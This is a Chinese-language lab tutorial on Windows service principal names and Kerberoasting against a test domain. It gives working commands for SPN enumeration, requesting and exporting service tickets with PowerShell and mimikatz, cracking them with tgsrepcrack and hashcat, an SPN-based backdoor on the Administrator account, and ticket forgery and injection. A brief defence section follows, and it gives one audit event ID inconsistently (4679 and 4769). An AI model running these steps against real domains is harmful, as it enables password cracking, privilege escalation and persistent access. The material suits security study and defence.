一:SPN服务主体名称
SPN(ServicePrincipal Names)服务主体名称,是服务实例(比如:HTTP、MSSQL、MySQL等服务)的唯一标识符。
1.1:SPN介绍
Kerberos认证过程使用SPN将服务实例与服务登录账户相关联,如果想使用 Kerberos 协议来认证服务,那么必须正确配置SPN。如果在整个林或域中的计算机上安装多个服务实例,则每个实例都必须具有自己的 SPN。如果客户端可能使用多个名称进行身份验证,则给定服务实例可以具有多个SPN。SPN 始终包含运行服务实例的主机的名称,因此服务实例可以为其主机的每个名称或别名注册SPN。一个用户账户下可以有多个SPN,但一个SPN只能注册到一个账户。在内网中,SPN扫描通过查询向域控服务器执行服务发现。这对于红队而言,可以帮助他们识别正在运行重要服务的主机,如终端,交换机等。SPN的识别是kerberoasting攻击的第一步。
1.2:SPN作用
***举例说明***
当某用户需要访问MySQL服务时,系统会以当前用户的身份向域控查询SPN为MySQL的记录。当找到该SPN记录后,用户会再次与KDC通信,将KDC发放的TGT作为身份凭据发送给客户,并将需要访问的SPN发送给KDC。KDC中的TGS服务对TGT进行解密。确认无误后,由TGS将一张允许访问该SPN所对应的服务的ST服务票据和该SPN所对应的服务的地址发送给用户,用户使用该票据即可访问MySQL服务。
1.3:SPN类型、
注册位置 | 服务权限 |
活动目录的机器帐户(Computers)下 | 当一个服务的权限为 Local System 或 Network Service,则SPN注册在机器帐户(Computers)下。域中的每个机器都会有注册两个格式2.SPN:HOST/主机名 和 HOST/主机名.laosec.cn |
活动目录的域用户帐户(Users)下 | 当一个服务的权限为一个域用户,则SPN注册在域用户帐户(Users)下。 |
域环境下执行命令:setspn -q */*
查看当前域内所有SPN
以CN开头的每一行代表一个帐户,其下的信息是与该帐户相关联的SPN,默认有三个:
域控制器 | CN=DC,OU=Domain Controllers,DC=laosec,DC=cn |
域用户帐户 | CN=krbtgt,CN=Users,DC=laosec,DC=cn |
机器帐户 | CN=WIN7,CN=Computers,DC=laosec,DC=cn |
1.4:SPN注册
***SPN格式***
1<service class>/<host>:<port> <servername> <Domain user>
2 服务类型 /对应机器名:服务端口[默认端口可不写]
3 其中 <service class> 和 <host> 为必需元素
<service class>
可以理解为服务的名称,常见的有www, ldap, SMTP, DNS, HOST等,例如MSSQLSvc/mssql.laosec.cn:1433
- host有两种形式,FQDN和NetBIOS名,例如
mssql.laosec
.cn
或者是mssql
- 如果服务运行在默认端口上,则端口号(port)可以省略
***SPN注册***
语法:setspn -S http/<computername>.<domainname> <domain-user-account>
-S :验证不存在重复项后,添加随意 SPN。
例如:创建一个MSSQL服务的,主机名为mssql,域名为laosec.cn 创建的用户为域用户test
setspn -S SQLServer/mssql.laosec.cn:1433/MSSQL
注意:只有机器账号或域管理员账号有权限注册SPN普通域用户注册SPN会提示权限不够
1.5:SPN查询
由于每台服务器都需要注册用于Kerberos身份验证服务的SPN因此这为在不进行大规模端口扫描的情况下收集有关内网域环境的信息提供了一个更加隐蔽的方法。
1.5.1:使用SetSPN查询
Windows系统自带的setspn
可以查询域内的SPN
1 查看当前域内所有的SPN: setspn -Q */*
2 查看指定域laosec.cn注册的SPN:setspn -T laosec.cn -Q */* 如果指定域不存在,则默认切换到查找本域的SPN
3 查找本域内重复的SPN: setspn -X
4 删除指定SPN:setspn -D SQLServer/mssql.laosec.cn:1433/MSSQL
5 查找指定用户/主机名注册的SPN:setspn -L username/hostname
1.5.2:GetUserSPNs.ps1
GetUserSPNs 是 Kerberoast 工具集中的一个 powershell 脚本用来查询域内用户注册的 SPN。
1.5.3:GetUserSPNs.vbs
GetUserSPNs 是 Kerberoast 工具集中的一个 vbs 脚本用来查询域内用户注册的 SPN。
1.5.4:PowerView.ps1
PowerView是 PowerSpolit 中 Recon目录下的一个powershell脚本PowerView 相对于上面几种是根据不同用户的 objectsid 返回的信息更加详细。
1 Import-Module .\PowerView.ps1
2 Get-NetUser -SPN
二:Kerberoast攻击
Kerberoasting 是域渗透中经常使用的一项技术,是通过 爆破TGS-REP实现,在TGS_REP的过程中用户将会收到由目标服务实例的NTLM hash加密生成的TGS(service ticket),加密算法为RC4-HMAC,如果获得这个TGS,我们可以尝试穷举口令,模拟加密过程,进行破解。
***利用方法***
由于域内的任何用户都可以向域内的任何服务请求TGS,知道相关服务的SPN后,可以用SPN申请一张票据 ST(TGS Ticket),如果Kerberos 协议设置票据为 RC4加密
,则可通过爆破的方式得到服务对应用户的密码。
***实验环境***
角色 | 系统 | 服务 | IP地址 |
域控 | Windows server 2008R2 | AD | 192.168.1.193 |
域内服务 | Windows server 2008R2 | MSSQL | 192.168.1.194 |
域内客户 | Windows 10 | 192.168.1.195 |
2.1:攻击方式-1
步骤一:Powershell申请票据
- 请求单个TGS:
1 Add-Type -AssemblyName System.IdentityModel
2New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "SQLServer/mssql.laosec.cn:1433/MSSQL"
- 请求所有TGS:
1 Add-Type -AssemblyName System.IdentityModel
2 setspn.exe -q */* | Select-String '^CN' -Context 0,1 | % { New-Object System. IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }
- mimikatz申请票据
1 #请求服务票据
2 kerberos::ask /target:MySQL/win7.laosec.cn:3306
3 #列出服务票据
4 kerberos::list
5 #清除所有票据
6 kerberos::purge
Kerberos 协议中请求的票据会保存在内存中,可以通过 klist
命令查看当前会话存储的 kerberos 票据
步骤二:使用mimikatz导出票据
第三步:mimikatz解密
工具:kerberoast/tgsrepcrack.py at master · nidem/kerberoast · GitHub
tgsrepcrack.py wordlist.txt test.kirbi
注释:wordlist.txt
是字典,test.kirbi
为导出的票据
2.2:攻击方式-2
步骤一:Invoke-Kerberoast.ps1导出转换成 John the Ripper 或者 HashCat 能够直接爆破的字符串,-AdminCount表示选择高权限的用户,powershell下执行以下内容
1 Import-Module .\Invoke-Kerberoast.ps1
2 Invoke-Kerberoast -AdminCount -OutputFormat Hashcat | Select hash | ConvertTo-CSV -NoTypeInformation
步骤二:通过hashcat进行密码破解
hashcat64.exe -m 13100 hash.txt pass.txt --force
2.2:权限维持
在我们取得了 SPN 的修改权限(其实也就是拿到域管的权限)后,可以为指定的域用户添加一个SPN,这样可以随时获得该域用户的TGS ,经过破解后获得明文口令,可以作为一个后门使用。
例:为域用户Administrator添加SPNfps/dc.laosec.cn Administrator
setspn.exe -U -A fps/dc.laosec.cn Administrator //添加SPN
setspn.exe -D fps/dc.laosec.cn Administrator //删除SPN
2.3:攻击扩展
管理员可以使用工具SetSPN -S来手动注册SPN。但是这不是一个最好的方法,毕竟手工注册不是长久之计。如果SPN下次丢了,又要再次手动注册。
***解决方法***
让SQL Server当前启动域账号有注册SPN的权力。要在DC上为域账号赋予Read servicePrincipalName
和WriteserverPrincipalName
的权限即可那么就可以在域内进行查询具有Read servicePrincipalName
和Write serverPrincipalName
的域用户的权限。
***实施步骤***
- 在域控的cmd中输入adsiedit.msc,打开ADSI编辑器,右键-->连接到-->确定
- 右键属性-->安全-->高级-->添加,对象名称输入SELF进行添加
2.4:利用流程
- 查询SPN,找到有价值的SPN,需要满足的条件:
该SPN注册在域用户帐户(Users)下
并且域用户账户的权限很高
- 请求TGS:Powershell/mimikatz/Rubeus/
- 导出TGS:mimikatz/Invoke-Kerberoast
- 暴力破解:Tgsrepcrack/HashCat/John
2.5:ST重写与RAM注入
ST票据使用服务密码的NTLM哈希签名。如果票据散列已被破解那么可以使用Kerberoast python脚本重写票据。这将允许在服务被访问时模拟任何域用户或伪造账户。此外提权也是可能的;因为用户可以被添加到诸如域管理员的高权限组中。
1 python kerberoast.py -p Password123 -r PENTESTLAB_001.kirbi -w PENTESTLAB.kirbi -u 500
2 python kerberoast.py -p Password123 -r PENTESTLAB_001.kirbi -w PENTESTLAB.kirbi -g 512
使用以下Mimikatz命令将新票据重新注入内存以便通过Kerberos协议对目标服务执行身份验证。
1 kerberos::ptt PENTESTLAB.kirbi
2.6:Kerberoast攻击防范
***防范手段***
- 防范Kerberoast攻击最有效的方法是:确保服务账号密码的长度超过25位;确保密码的随机性;定期修改服务账号的密码;
- 如果攻击者无法将默认的AES256_HMAC加密方式改为RC4_HMAC_MD5就无法实验 tgsrepcrack.py来破解密码。
- 攻击者可以通过嗅探的方法抓取Kerberos TGS票据。因此如果强制实验AES256_HMAC方式对Kerberos票据进行加密那么即使攻击者获取了Kerberos票据也无法将其破解从而保证了活动目录的安全性。
- 许多服务账户在内网中被分配了过高的权限且密码强度较差。攻击者很可能通过破解票据的密码从域用户权限提升到域管理员权限。因此应该对服务账户的权限进行适当的配置并提高密码的强度。
- 在进行日志审计时可以重点关注ID为4679(请求Kerberos服务票据)的时间。如果有过多的 4769 日志应进一步检查系统中是否存在恶意行为。
参考链接: